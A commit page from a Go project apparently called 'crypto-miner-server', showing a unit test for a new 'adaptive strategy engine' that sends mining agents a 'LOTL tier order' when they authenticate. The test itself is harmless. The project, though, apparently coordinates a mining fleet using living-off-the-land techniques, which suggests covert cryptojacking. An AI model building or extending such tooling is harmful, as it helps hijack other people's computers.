Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:15:18 -07:00
parent 047d5c7252
commit 85376eac7c
23 changed files with 1141 additions and 6 deletions

View File

@@ -0,0 +1,61 @@
package api
import (
"encoding/json"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
func TestAuthResponseIncludesAdaptiveStrategy(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("test-secret")
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-strategy-1", "fleet_secret": "test-secret",
"wallet": "4" + repeatChar('A', 94), "hostname": "win-docker", "platform": "windows", "version": "test",
})
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
var payload map[string]interface{}
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["success"] != true {
t.Fatalf("auth failed: %v", payload["error"])
}
raw, ok := payload["adaptive_strategy"]
if !ok {
t.Fatal("expected adaptive_strategy in auth_response")
}
data, _ := json.Marshal(raw)
var adaptive struct {
TierOrder []string `json:"tier_order"`
Reasoning []struct{ Fact, Inference, Action string } `json:"reasoning"`
Confidence float64 `json:"confidence"`
}
if err := json.Unmarshal(data, &adaptive); err != nil {
t.Fatal(err)
}
if len(adaptive.TierOrder) == 0 || len(adaptive.Reasoning) == 0 || adaptive.Confidence <= 0 {
t.Fatalf("invalid adaptive_strategy: %+v", adaptive)
}
}
func repeatChar(c byte, n int) string {
buf := make([]byte, n)
for i := range buf {
buf[i] = c
}
return string(buf)
}